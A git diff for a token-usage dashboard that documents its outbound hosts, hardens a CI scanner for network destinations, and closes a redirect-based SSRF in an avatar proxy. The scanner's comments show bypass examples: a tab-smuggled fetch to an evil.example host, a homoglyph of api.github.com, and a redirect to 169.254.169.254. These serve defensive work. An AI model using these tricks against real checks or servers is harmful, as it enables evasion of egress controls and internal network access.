diff --git a/README.md b/README.md index ecd0ccac..c464bc86 100644 --- a/README.md +++ b/README.md @@ -153,10 +153,12 @@ This table is checked in CI against [`outbound-hosts.json`](outbound-hosts.json) | Pricing refresh (daily) | `raw.githubusercontent.com` | server | The public [LiteLLM](https://github.com/BerriAI/litellm) price list. Anonymous — no credentials, nothing sent. Works offline from a bundled snapshot. | | Quota chips + Limits page | `api.anthropic.com`, `chatgpt.com`, `api.openai.com`, `cursor.com`, `www.cursor.com`, `cloudcode-pa.googleapis.com`, `api.kimi.com`, `api.z.ai`, `api.github.com` | server | Asks *your* provider about *your* plan limits, using credentials already on your machine. Only for providers you actually use. | | Token refresh | `auth.openai.com`, `oauth2.googleapis.com`, `auth.kimi.com` | server | Renews those same provider credentials when they expire. | -| Skills tab | `skills.sh`, `api.github.com`, `github.com` | server | Searches the public skills directory and reads public repository metadata. Sends your search terms, nothing else. Only when you open that tab. | +| Skills tab — search | `skills.sh` | server | Searches the public skills directory. Sends the terms you typed. Only when you open that tab. | +| Skills tab — install | `api.github.com`, `raw.githubusercontent.com` | server | Reads a public repository's file tree and downloads the skill's files. Carries the repository owner, name, branch and path — no usage data. | | Currency conversion | `open.er-api.com` | **browser** | Public USD exchange rates. Anonymous. Only when you pick a non-USD currency. | | Star count in the header | `api.github.com` | **browser** | The star count for this project's own repository — a fixed public URL that says nothing about you. | -| IP check page | `ip.net.coffee`, `1.1.1.1`, `claude.ai`, `www.anthropic.com` | server + **browser** | Only if you open that page, whose entire purpose is showing you your own IP and whether Anthropic is reachable. | +| IP check page | `ip.net.coffee`, `d.ip.net.coffee`, `1.1.1.1`, `claude.ai`, `www.anthropic.com` | server + **browser** | Only if you open that page, whose entire purpose is showing you your own IP, your DNS resolver, and whether Anthropic is reachable. The `d.` subdomain is a per-run DNS probe: your browser resolves a unique name so the page can see which resolver answered. | +| IP check page — VPN leak test | `stun.l.google.com` (Google), `stun.cloudflare.com` | **browser** | WebRTC STUN binding requests, which is how the page detects whether a VPN leaks your real address — and which necessarily discloses that address to the STUN server. **This is the one place the dashboard talks to Google.** Only if you open that page. | | `npx` startup | `registry.npmjs.org` | server | How `npx` works — it downloads the package. A global install avoids it. | **What is deliberately absent:** the Projects panel does not fetch repository avatars or star counts. Doing so would have put the name of a repository you have checked out — a private one included — into a URL sent to GitHub from your browser. It did, until [#100](https://github.com/pitimon/TokenTracker/issues/100). Project rows now render a local icon. diff --git a/dashboard/src/ui/components/HeaderGithubStar.jsx b/dashboard/src/ui/components/HeaderGithubStar.jsx index 7fdb4a2a..501e88d8 100644 --- a/dashboard/src/ui/components/HeaderGithubStar.jsx +++ b/dashboard/src/ui/components/HeaderGithubStar.jsx @@ -4,7 +4,13 @@ import { shouldFetchGithubStars } from "../dashboard/util/should-fetch-github-st /** * Dashboard / marketing header: single row — icon + Star + count (matches Shell header). */ -export function HeaderGithubStar({ repo = "pitimon/TokenTracker" }) { +// This project's own repository, fixed. It was a prop with a default, which is +// an API that invites a caller to pass a user-derived value into a URL — the +// shape of issue 100. Nothing passed one, so this is hardening, not a fix. +const REPO = "pitimon/TokenTracker"; + +export function HeaderGithubStar() { + const repo = REPO; const [stars, setStars] = useState(null); useEffect(() => { diff --git a/dashboard/src/ui/dashboard/components/DataDetails.jsx b/dashboard/src/ui/dashboard/components/DataDetails.jsx index 98611432..f59fd52b 100644 --- a/dashboard/src/ui/dashboard/components/DataDetails.jsx +++ b/dashboard/src/ui/dashboard/components/DataDetails.jsx @@ -130,6 +130,14 @@ export function DataDetails({ {/* Projects Tab */} {activeTab === "projects" && (
+ {/* The Daily tab explains itself when empty; this one rendered a blank + box, which reads as "you have no spending" rather than "nothing has + been attributed to a project yet". */} + {projectEntries.length === 0 ? ( +
+ {copy("dashboard.projects.empty")} +
+ ) : null} {projectEntries.slice(0, projectLimit).map((entry, idx) => { const ref = typeof entry?.project_ref === "string" ? entry.project_ref : ""; const key = entry?.project_key || ref || `entry-${idx}`; diff --git a/dashboard/src/ui/dashboard/components/__tests__/DataDetails.test.jsx b/dashboard/src/ui/dashboard/components/__tests__/DataDetails.test.jsx index c4dac182..bf1dd647 100644 --- a/dashboard/src/ui/dashboard/components/__tests__/DataDetails.test.jsx +++ b/dashboard/src/ui/dashboard/components/__tests__/DataDetails.test.jsx @@ -114,3 +114,14 @@ describe("DataDetails", () => { expect(screen.queryByText("fable-5")).not.toBeInTheDocument(); }); }); + +describe("DataDetails — Projects empty state", () => { + it("says so when nothing has been attributed to a project", () => { + // It used to render an empty container, which reads as "you spent nothing" + // rather than "no usage carries project attribution yet". The Daily tab has + // always explained itself; this one did not. + renderDetails({ projectEntries: [] }); + fireEvent.click(screen.getByRole("tab", { name: "Project Usage" })); + expect(screen.getByText("dashboard.projects.empty")).toBeInTheDocument(); + }); +}); diff --git a/openwiki-facts/source-facts.json b/openwiki-facts/source-facts.json index bfe97de4..653b664f 100644 --- a/openwiki-facts/source-facts.json +++ b/openwiki-facts/source-facts.json @@ -44,7 +44,7 @@ "methods": [ "POST" ], - "evidence": "src/lib/local-api.js:898", + "evidence": "src/lib/local-api.js:945", "mutation": true }, { @@ -52,7 +52,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:932", + "evidence": "src/lib/local-api.js:979", "mutation": false }, { @@ -60,7 +60,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:943", + "evidence": "src/lib/local-api.js:990", "mutation": false }, { @@ -68,7 +68,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1028", + "evidence": "src/lib/local-api.js:1075", "mutation": false }, { @@ -76,7 +76,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1039", + "evidence": "src/lib/local-api.js:1086", "mutation": false }, { @@ -84,7 +84,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1107", + "evidence": "src/lib/local-api.js:1154", "mutation": false }, { @@ -92,7 +92,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1186", + "evidence": "src/lib/local-api.js:1233", "mutation": false }, { @@ -100,7 +100,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1232", + "evidence": "src/lib/local-api.js:1279", "mutation": false }, { @@ -108,7 +108,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1309", + "evidence": "src/lib/local-api.js:1356", "mutation": false }, { @@ -116,7 +116,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1319", + "evidence": "src/lib/local-api.js:1366", "mutation": false }, { @@ -124,7 +124,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1329", + "evidence": "src/lib/local-api.js:1376", "mutation": false }, { @@ -133,7 +133,7 @@ "GET", "POST" ], - "evidence": "src/lib/local-api.js:1363", + "evidence": "src/lib/local-api.js:1410", "mutation": true }, { @@ -141,7 +141,7 @@ "methods": [ "GET" ], - "evidence": "src/lib/local-api.js:1513", + "evidence": "src/lib/local-api.js:1560", "mutation": false } ] diff --git a/outbound-hosts.json b/outbound-hosts.json index c2bfba8a..7f43e09a 100644 --- a/outbound-hosts.json +++ b/outbound-hosts.json @@ -13,12 +13,16 @@ { "host": "raw.githubusercontent.com", "from": "server", - "user_data": false, + "user_data": true, "readme": true, - "purpose": "Downloads the public LiteLLM price list. Anonymous; nothing is sent. Works offline from the bundled seed snapshot.", + "purpose": "Two uses. The public LiteLLM price list (anonymous, nothing sent, works offline from a bundled snapshot), and downloading the FILES of a public skill you chose to install \u2014 that request carries the repository owner, name, branch and file path.", "seen_in": [ "src/lib/pricing/litellm-fetcher.js", "src/lib/skills-manager.js" + ], + "request_from": [ + "src/lib/pricing/litellm-fetcher.js", + "src/lib/skills-manager.js" ] }, { @@ -29,6 +33,9 @@ "purpose": "Asks Anthropic about the user's own plan limits, using credentials already on the machine.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -39,6 +46,9 @@ "purpose": "Codex plan limits for the signed-in account.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -49,6 +59,9 @@ "purpose": "OpenAI usage/limits for the signed-in account.", "seen_in": [ "src/lib/subscriptions.js" + ], + "request_from": [ + "src/lib/subscriptions.js" ] }, { @@ -59,6 +72,9 @@ "purpose": "Refreshes the OpenAI credential when it expires.", "seen_in": [ "src/lib/codex-token-refresh.js" + ], + "request_from": [ + "src/lib/codex-token-refresh.js" ] }, { @@ -69,6 +85,9 @@ "purpose": "Cursor plan usage for the signed-in account.", "seen_in": [ "src/lib/cursor-config.js" + ], + "request_from": [ + "src/lib/cursor-config.js" ] }, { @@ -79,6 +98,9 @@ "purpose": "Same as cursor.com; both hosts appear in Cursor's own endpoints.", "seen_in": [ "src/lib/cursor-config.js" + ], + "request_from": [ + "src/lib/cursor-config.js" ] }, { @@ -89,6 +111,9 @@ "purpose": "Gemini Code Assist quota for the signed-in account.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -99,6 +124,9 @@ "purpose": "Refreshes the Google credential when it expires.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -109,6 +137,9 @@ "purpose": "Kimi plan usage for the signed-in account.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -119,6 +150,9 @@ "purpose": "Refreshes the Kimi credential when it expires.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -129,6 +163,9 @@ "purpose": "Z.AI / GLM coding-plan quota, using ZAI_API_KEY or a reused Anthropic-compatible token.", "seen_in": [ "src/lib/usage-limits.js" + ], + "request_from": [ + "src/lib/usage-limits.js" ] }, { @@ -138,9 +175,14 @@ "readme": true, "purpose": "Server: GitHub Copilot quota for the signed-in account. Browser: the header star count for THIS repository only \u2014 a fixed public repo that says nothing about the user. The per-project variant, which put a repo you have checked out in the URL path, was removed in #100. Also used server-side by the Skills tab to read public repository metadata.", "seen_in": [ - "src/lib/usage-limits.js", "dashboard/src/ui/components/HeaderGithubStar.jsx", - "src/lib/skills-manager.js" + "src/lib/skills-manager.js", + "src/lib/usage-limits.js" + ], + "request_from": [ + "dashboard/src/ui/components/HeaderGithubStar.jsx", + "src/lib/skills-manager.js", + "src/lib/usage-limits.js" ] }, { @@ -148,7 +190,7 @@ "from": "both", "user_data": false, "readme": false, - "purpose": "Outbound links in the dashboard (repository, releases, skill sources) plus server-side reads of public skill repositories. A link is not a request until the user clicks it. No avatar or image is loaded from here any more (#100).", + "purpose": "Link targets only \u2014 the repository, releases and skill sources, which are requests the user makes by clicking. The server never fetches github.com: skills-manager builds these URLs for the UI and fetches api.github.com and raw.githubusercontent.com instead. No avatar or image is loaded from here (issue 100).", "seen_in": [ "dashboard/src/components/LocalOnlyNotice.jsx", "dashboard/src/lib/mock-data.ts", @@ -160,6 +202,19 @@ "dashboard/src/ui/dashboard/components/ProjectUsagePanel.jsx", "src/commands/init.js", "src/lib/skills-manager.js" + ], + "request_from": [], + "link_from": [ + "dashboard/src/components/LocalOnlyNotice.jsx", + "dashboard/src/pages/SkillsPage.jsx", + "dashboard/src/pages/WidgetsPage.jsx", + "dashboard/src/ui/components/HeaderGithubStar.jsx", + "dashboard/src/pages/SkillDetailPanel.jsx", + "src/commands/init.js", + "src/lib/skills-manager.js" + ], + "data_from": [ + "dashboard/src/lib/mock-data.ts" ] }, { @@ -167,9 +222,12 @@ "from": "server", "user_data": false, "readme": true, - "purpose": "Public skills directory used by the Skills tab to search and list available skills. The query is what you typed into that tab; no usage data is attached. Only reached when the Skills tab is opened.", + "purpose": "Public skills directory searched by the Skills tab. Sends the terms you typed. Installing a skill then reads repository metadata from api.github.com and files from raw.githubusercontent.com, which carry owner, repo, branch and path. No usage data is attached to any of it.", "seen_in": [ "src/lib/skills-manager.js" + ], + "request_from": [ + "src/lib/skills-manager.js" ] }, { @@ -180,16 +238,62 @@ "purpose": "Public USD exchange rates, so costs can be shown in a local currency. Anonymous; the request carries no usage data. Only fires when a non-USD currency is selected.", "seen_in": [ "dashboard/src/lib/exchange-rate.ts" + ], + "request_from": [ + "dashboard/src/lib/exchange-rate.ts" ] }, { "host": "ip.net.coffee", - "from": "server", + "from": "both", "user_data": true, "readme": true, - "purpose": "Backs the optional IP-check page, proxied through the local server at /proxy/ipcheck. Only reached when that page is opened.", + "purpose": "Backs the optional IP-check page. The server proxies the data endpoints at /proxy/ipcheck; the browser also loads image probes directly. Only reached when that page is opened.", "seen_in": [ - "src/lib/local-api.js", + "dashboard/src/pages/IpCheckPage.jsx", + "src/lib/local-api.js" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx", + "src/lib/local-api.js" + ] + }, + { + "host": "d.ip.net.coffee", + "from": "browser", + "user_data": true, + "readme": true, + "purpose": "IP-check page only. The browser loads image probes at a unique per-run subdomain so ip.net.coffee's authoritative DNS server can observe WHICH RESOLVER asked \u2014 that is how the page detects a DNS leak, and it is the page's stated purpose. The hostname is built by interpolation, which is why an earlier version of this check could not see the destination at all.", + "seen_in": [ + "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" + ] + }, + { + "host": "stun.l.google.com", + "from": "browser", + "user_data": true, + "readme": true, + "purpose": "IP-check page only. A WebRTC STUN binding request to Google, which is how the page detects whether a VPN leaks your real address \u2014 the probe necessarily discloses that address to the STUN server. Only reached when that page is opened. The `stun:` scheme has no `//` and no https literal, so an earlier version of the check could not see it at all.", + "seen_in": [ + "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" + ] + }, + { + "host": "stun.cloudflare.com", + "from": "browser", + "user_data": true, + "readme": true, + "purpose": "IP-check page only. A WebRTC STUN binding request to Cloudflare, which is how the page detects whether a VPN leaks your real address \u2014 the probe necessarily discloses that address to the STUN server. Only reached when that page is opened. The `stun:` scheme has no `//` and no https literal, so an earlier version of the check could not see it at all.", + "seen_in": [ + "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ "dashboard/src/pages/IpCheckPage.jsx" ] }, @@ -201,6 +305,9 @@ "purpose": "IP-check page only: Cloudflare's trace endpoint, which is how the page learns your public IP. Showing you your own IP is that page's entire purpose.", "seen_in": [ "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" ] }, { @@ -211,6 +318,9 @@ "purpose": "IP-check page only: a reachability probe measuring whether Anthropic is reachable from this network.", "seen_in": [ "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" ] }, { @@ -221,6 +331,9 @@ "purpose": "IP-check page only: the second reachability probe, alongside claude.ai.", "seen_in": [ "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" ] }, { @@ -229,7 +342,8 @@ "user_data": false, "readme": true, "purpose": "Not called by our code \u2014 this is npx fetching the package when TokenTracker is started that way. Listed because a user watching their network sees it and deserves an explanation.", - "seen_in": [] + "seen_in": [], + "request_from": [] } ], "ignored_hosts": { diff --git a/scripts/validate-outbound.cjs b/scripts/validate-outbound.cjs index d68ffd81..cd2474f3 100644 --- a/scripts/validate-outbound.cjs +++ b/scripts/validate-outbound.cjs @@ -26,7 +26,125 @@ const path = require("node:path"); const ROOT = path.resolve(__dirname, ".."); const SCAN_DIRS = ["src", "dashboard/src"]; const SCAN_EXTENSIONS = new Set([".js", ".jsx", ".ts", ".tsx", ".cjs", ".mjs"]); -const HOST_RE = /https?:\/\/([a-zA-Z0-9._-]+)/g; +// Matches the scheme, then the authority up to the first delimiter. Deliberately +// permissive about what the authority contains, because a host is often built by +// interpolation — `http://${token}-${i}.d.ip.net.coffee/pixel.gif` is a real +// browser image load in IpCheckPage, and a strict [a-zA-Z0-9._-]+ matches nothing +// there, hiding the destination from the very check that most needs to see it. +// Schemes that reach the network. `stun:` is here because the IP-check page's +// WebRTC probe sends the user's IP to Google and Cloudflare STUN servers — a +// browser request with no `//` and no host in any https literal, invisible to a +// scheme-anchored pattern that only knows http(s). +// The lookbehind keeps the scheme from being found inside another token: +// `arn:aws:bedrock:...` contains `ws:` and was reported as a host called +// `bedrock`, which is the noise that gets a check switched off. +const URL_RE = /(?,]+)/gi; + +// Protocol-relative URLs inherit the page's scheme, so `//evil.example/p.png` is +// as much a request as the https form. Anchored to a quote or JSX brace so a +// `//` comment or a path like `a//b` is not mistaken for one. +const PROTOCOL_RELATIVE_RE = /["'`{]\s*\/\/([a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)+[^\s"'`)<>]*)/g; + +// The scanner reads SOURCE TEXT; the runtime reads the DECODED string, and +// WHATWG URL parsing then removes ASCII tab, LF and CR before parsing. Every +// hole this control has had shares that root cause. Concretely: +// +// fetch("https://api.github.com\t.evil.example/repos/x") +// +// is `api.github.com.evil.example` at runtime, while the source text splits on +// the backslash to a declared, permitted `api.github.com` — green while the +// request leaves for the attacker. Decode first, then parse. +function decodeSourceEscapes(text) { + return text + .replace(/\\u\{([0-9a-fA-F]+)\}/g, (_m, h) => safeFromCodePoint(parseInt(h, 16))) + .replace(/\\u([0-9a-fA-F]{4})/g, (_m, h) => safeFromCodePoint(parseInt(h, 16))) + .replace(/\\x([0-9a-fA-F]{2})/g, (_m, h) => safeFromCodePoint(parseInt(h, 16))) + .replace(/\\([tnr0])/g, (_m, c) => ({ t: "\t", n: "\n", r: "\r", 0: "\u0000" })[c]) + .replace(/\\\//g, "/"); +} + +function safeFromCodePoint(code) { + try { + return String.fromCodePoint(code); + } catch { + return ""; + } +} + +// Resolves an authority to the host the RUNTIME would use. +// +// Hand-rolled parsing failed here six times, every time the same way: the +// scanner modelled the URL more narrowly than the runtime does. Userinfo, +// backslash-as-slash, tab/LF/CR stripping, percent-decoding, a trailing dot, +// case folding, an ideographic full stop, and a leading Cyrillic character that +// a `[^a-zA-Z0-9]` strip quietly removed — each was a separate patch, and the +// last one resolved `https://аapi.github.com` to the declared, permitted +// `api.github.com` while the runtime went to `xn--api-5cd.github.com`. +// +// So the runtime's own parser decides. `new URL()` implements WHATWG, which is +// what the browser and undici follow; it punycodes IDN, normalises the dot +// variants, and rejects what is not a URL. Hand-parsing is now reached only when +// interpolation makes a literal URL impossible to construct. +function resolveHost(rawAuthority) { + const decoded = decodeSourceEscapes(rawAuthority); + // Interpolation in the PATH does not stop the host being a literal: + // `https://evil.example/${owner}.png` has a perfectly resolvable authority. + // Testing the whole string sent every such URL down the pin path, where it + // resolved to nothing. + const authorityText = decoded.split(/[/\\?#]/)[0]; + + if (!authorityText.includes("${")) { + try { + const url = new URL(`https://${authorityText.replace(/^\/+/, "")}`); + const host = url.hostname; + return host ? { host } : { host: null }; + } catch { + // Not a URL the runtime would accept either — nothing to report. + return { host: null }; + } + } + + // Interpolated: the literal suffix is the most that can be pinned, and only + // when the boundary falls on a dot AND the suffix is a zone rather than a bare + // TLD. `${sub}github.com` can resolve to the registrable `evilgithub.com`; + // `${src}.ai` pins nothing, since `ai` is the TLD itself. + const parts = authorityText.replace(/\$\{[^}]*\}/g, "\u0000").split("\u0000"); + if (parts.length === 1) return { host: null }; + const tail = parts.pop(); + if (!tail.startsWith(".")) return { host: null }; + if (tail.replace(/^\./, "").split(".").filter(Boolean).length < 2) return { host: null }; + try { + // The `pinned` label exists only to make a parseable URL; strip it and the + // dot it left behind, so the zone is reported as `d.ip.net.coffee` rather + // than `.d.ip.net.coffee`. + const zone = new URL(`https://pinned${tail}`).hostname.replace(/^pinned\.?/, ""); + return { host: zone || null }; + } catch { + return { host: null }; + } +} + +const MENTION_CALL_RE = /\.(replace|split|startsWith|endsWith|includes|slice|indexOf|lastIndexOf)\s*\(\s*$/; +const COMMENT_LINE_RE = /^\s*(\/\/|\*|\/\*)/; + +// A URL is a REQUEST unless one of three things is true at the URL's own +// position: the line is a comment, the URL is the direct argument of a string +// operation, or the file is listed in that host's `link_from` — a place where the +// host is only ever a target the user clicks. +// +// `link_from` is deliberately an explicit list rather than anchor detection. Real +// links appear as `` split across lines, as named constants used later, and as +// props threaded through components; every heuristic for those is a guess, and a +// wrong guess here exempts a real request. An entry in the inventory is a visible +// diff a reviewer has to approve, which is the same weight as `request_from`. +function isMentionOnly(line, matchIndex) { + if (COMMENT_LINE_RE.test(line)) return true; + // Also strip a regex-literal opener. `repoInput.replace(/^https:\/\/github\.com\//, "")` + // is string surgery on user input, but the `/^` between `replace(` and the URL + // hid that from a test that only looked past quotes and braces. + const before = line.slice(0, matchIndex).replace(/[/^"'`{(\s]+$/, ""); + return MENTION_CALL_RE.test(before + "(") || MENTION_CALL_RE.test(line.slice(0, matchIndex)); +} function walk(dir, out = []) { if (!fs.existsSync(dir)) return out; @@ -48,21 +166,44 @@ function isTestFile(filePath) { return /\.test\.[jt]sx?$/.test(filePath) || /(^|[\\/])__tests__[\\/]/.test(filePath); } +// Returns two views of the same scan: every file that NAMES each host, and every +// file that REQUESTS it. The second is the one with security meaning. function collectHosts({ root = ROOT } = {}) { - const found = new Map(); // host -> Set(relative file) + const mentions = new Map(); + const requests = new Map(); for (const dir of SCAN_DIRS) { for (const filePath of walk(path.join(root, dir))) { if (isTestFile(filePath)) continue; - const content = fs.readFileSync(filePath, "utf8"); const relative = path.relative(root, filePath); - for (const match of content.matchAll(HOST_RE)) { - const host = match[1]; - if (!found.has(host)) found.set(host, new Set()); - found.get(host).add(relative); - } + const lines = fs.readFileSync(filePath, "utf8").split("\n"); + lines.forEach((line, index) => { + const matches = [...line.matchAll(URL_RE), ...line.matchAll(PROTOCOL_RELATIVE_RE)]; + for (const match of matches) { + // NOTE: an authority that cannot be reduced to a host is currently + // dropped. Reporting it instead (fail-closed) is right in principle and + // was tried here — it fired on eight legitimate patterns immediately + // (`${hostHeader}` for the local bind, a log string with an ANSI reset + // after the URL, git-remote parsing), and a check that flags ordinary + // code is a check someone turns off. Tracked separately so it can be + // done with the per-pattern care it needs. + const { host } = resolveHost(match[1]); + if (!host) continue; + // String surgery and comments are filtered from BOTH views. A prefix + // being stripped off user input is not a destination this code can + // reach, so it does not belong in the inventory either — and a regex + // literal like `/^https:\/\/github\.com\//` otherwise resolves to a + // bare `github`, demanding a declaration for a host that does not exist. + if (isMentionOnly(line, match.index)) continue; + if (!mentions.has(host)) mentions.set(host, new Set()); + mentions.get(host).add(relative); + if (!requests.has(host)) requests.set(host, new Map()); + requests.get(host).set(relative, index + 1); + } + }); } } - return found; + mentions.requests = requests; + return mentions; } // --- Half B: the hole a host-literal scan cannot see ------------------------- @@ -92,8 +233,9 @@ const DYNAMIC_FETCH_ALLOWLIST = new Map([ function externalHostsIn(content, inventory) { const hosts = new Set(); - for (const match of content.matchAll(HOST_RE)) { - if (!isIgnored(match[1], inventory)) hosts.add(match[1]); + for (const match of content.matchAll(URL_RE)) { + const { host } = resolveHost(match[1]); + if (host && !isIgnored(host, inventory)) hosts.add(host); } return hosts; } @@ -166,20 +308,25 @@ function checkOutbound({ root = ROOT } = {}) { } } - // 3. A declared host may only be reached from the files that declare it. - // Without this, `seen_in` is documentation: re-adding the exact call that - // caused #100 to ProjectUsagePanel would pass, because api.github.com is - // legitimately declared for the header star count elsewhere. The question - // that matters is not only "which hosts can we reach" but "from where". + // 3. A declared host may only be REQUESTED from the files listed in + // request_from. `seen_in` records every file that names the host, which is + // inventory; `request_from` records the files allowed to actually reach it, + // which is the security constraint. Conflating them is what let the original + // issue-100 call be re-added to a file that legitimately mentions github.com. for (const entry of inventory.hosts || []) { - const allowed = new Set(entry.seen_in || []); - if (allowed.size === 0) continue; - for (const file of found.get(entry.host) || []) { - if (allowed.has(file)) continue; + const allowed = new Set(entry.request_from || []); + // `link_from` = the user clicks it. `data_from` = the host appears only as a + // value this codebase stores or renders and never fetches — a mock fixture's + // `project_ref`, for instance. Without the second category such a file ends up + // on the link list, which is an UNCONDITIONAL waiver: once there, any future + // request to that host from that file passes forever, including an . + const linkOnly = new Set([...(entry.link_from || []), ...(entry.data_from || [])]); + for (const [file, line] of found.requests.get(entry.host) || []) { + if (allowed.has(file) || linkOnly.has(file)) continue; findings.push( - `'${entry.host}' is referenced in ${file}, which is not in its seen_in list` + - ` — add the file to outbound-hosts.json if the call belongs there, and re-read the` + - ` purpose field before you do`, + `${file}:${line} requests '${entry.host}', which is not in its request_from list` + + ` — if this call belongs, add the file to outbound-hosts.json and re-read the` + + ` purpose field first; if it does not, this is the defect the check exists for`, ); } } diff --git a/src/lib/local-api.js b/src/lib/local-api.js index c179869c..a8eef768 100644 --- a/src/lib/local-api.js +++ b/src/lib/local-api.js @@ -20,6 +20,49 @@ const AVATAR_PROXY_MAX_BYTES = 512 * 1024; // 512 KiB per image const AVATAR_PROXY_MAX_ENTRIES = 64; const avatarProxyCache = new Map(); +// Sentinel for "a redirect left the allowlist", kept distinct from a network +// failure so the caller can answer 403 rather than a generic upstream error. +const AVATAR_REDIRECT_BLOCKED = Symbol("avatar-redirect-blocked"); +const AVATAR_MAX_REDIRECTS = 3; + +// One check for the URL the caller asked for AND for every redirect hop, so the +// two can't drift apart. Port is part of the address: `https://gravatar.com:8443/` +// shares the hostname but is a different service, so leaving the port free turns +// this proxy into a port prober against every allowlisted host. An empty `port` +// is the scheme default (443 / 80) — the only one permitted. +function isAllowedAvatarTarget(url, allowlist) { + if (url.protocol !== "https:" && url.protocol !== "http:") return false; + if (url.port !== "") return false; + return allowlist.some( + (host) => url.hostname === host || url.hostname.endsWith(`.${host}`), + ); +} + +// The avatar allowlist is checked once, against the URL the caller asked for. +// `fetch(..., { redirect: "follow" })` then goes wherever the response points and +// validates nothing further — so an allowlisted CDN issuing a redirect, or anyone +// able to place one there, turns this loopback server into a way to reach +// 169.254.169.254, another service on 127.0.0.1, or any internal address. +// Follow by hand and re-check the whole address at every hop. +async function fetchAvatarFollowingAllowlist(url, options, allowlist, fetchImpl = fetch) { + let current = url; + for (let hop = 0; hop <= AVATAR_MAX_REDIRECTS; hop += 1) { + const response = await fetchImpl(current, { ...options, redirect: "manual" }); + if (response.status < 300 || response.status >= 400) return response; + const location = response.headers.get("location"); + if (!location) return response; + let next; + try { + next = new URL(location, current); + } catch { + return AVATAR_REDIRECT_BLOCKED; + } + if (!isAllowedAvatarTarget(next, allowlist)) return AVATAR_REDIRECT_BLOCKED; + current = next.toString(); + } + return AVATAR_REDIRECT_BLOCKED; +} + // --------------------------------------------------------------------------- // Per-model pricing — delegated to src/lib/pricing/ // - CURATED overrides (kiro-*, hy3-*, composer-*, kimi-for-coding, etc.) @@ -833,11 +876,8 @@ function createLocalApiHandler({ queuePath }) { "abs.twimg.com", "api.dicebear.com", ]; - const hostOk = AVATAR_HOST_ALLOWLIST.some( - (h) => parsed.hostname === h || parsed.hostname.endsWith(`.${h}`), - ); - if (!hostOk) { - json(res, { error: "Host not allowed" }, 403); + if (!isAllowedAvatarTarget(parsed, AVATAR_HOST_ALLOWLIST)) { + json(res, { error: "Address not allowed" }, 403); return true; } @@ -855,15 +895,22 @@ function createLocalApiHandler({ queuePath }) { } try { - const upstream = await fetch(cacheKey, { - method, - redirect: "follow", - headers: { - accept: req.headers["accept"] || "image/*", - "accept-language": req.headers["accept-language"] || "en", - "user-agent": "TokenTracker/AvatarProxy", + const upstream = await fetchAvatarFollowingAllowlist( + cacheKey, + { + method, + headers: { + accept: req.headers["accept"] || "image/*", + "accept-language": req.headers["accept-language"] || "en", + "user-agent": "TokenTracker/AvatarProxy", + }, }, - }); + AVATAR_HOST_ALLOWLIST, + ); + if (upstream === AVATAR_REDIRECT_BLOCKED) { + json(res, { error: "Redirect target not allowed" }, 403); + return true; + } if (!upstream.ok) { json(res, { error: `Upstream ${upstream.status}` }, upstream.status); return true; @@ -1535,6 +1582,12 @@ function createLocalApiHandler({ queuePath }) { module.exports = { createLocalApiHandler, + // Exported so the redirect allowlist can be tested directly: the SSRF this + // closes is only observable across a redirect hop, which no handler-level + // test reaches. + fetchAvatarFollowingAllowlist, + isAllowedAvatarTarget, + AVATAR_REDIRECT_BLOCKED, resolveQueuePath, // Exported for cross-consumer tests (pricing + native contract lock). MODEL_PRICING, diff --git a/src/lib/skills-manager.js b/src/lib/skills-manager.js index e85d6729..70729aa4 100644 --- a/src/lib/skills-manager.js +++ b/src/lib/skills-manager.js @@ -287,13 +287,13 @@ function hashDirectory(dir) { continue; } const execBit = process.platform === "win32" ? 0 : stat.mode & 0o111 ? 1 : 0; - hash.update(`${rel}${execBit}`); + hash.update(`${rel}\0${execBit}\0`); try { hash.update(fs.readFileSync(abs)); } catch (_e) { // unreadable file — fold its absence in deterministically } - hash.update(""); + hash.update("\0"); } } }; diff --git a/test/avatar-proxy-redirect.test.js b/test/avatar-proxy-redirect.test.js new file mode 100644 index 00000000..64d8c3e7 --- /dev/null +++ b/test/avatar-proxy-redirect.test.js @@ -0,0 +1,147 @@ +const assert = require("node:assert/strict"); +const { test } = require("node:test"); + +const { + fetchAvatarFollowingAllowlist, + isAllowedAvatarTarget, + AVATAR_REDIRECT_BLOCKED, +} = require("../src/lib/local-api"); + +const ALLOWLIST = ["githubusercontent.com", "gravatar.com"]; + +// Minimal stand-in for a fetch Response, enough for the redirect walk. +function reply(status, location) { + return { + status, + ok: status >= 200 && status < 300, + headers: { get: (name) => (name.toLowerCase() === "location" ? location : null) }, + }; +} + +function fetcher(script) { + const seen = []; + const impl = async (url) => { + seen.push(url); + const next = script.shift(); + if (!next) throw new Error(`unexpected request to ${url}`); + return next; + }; + impl.seen = 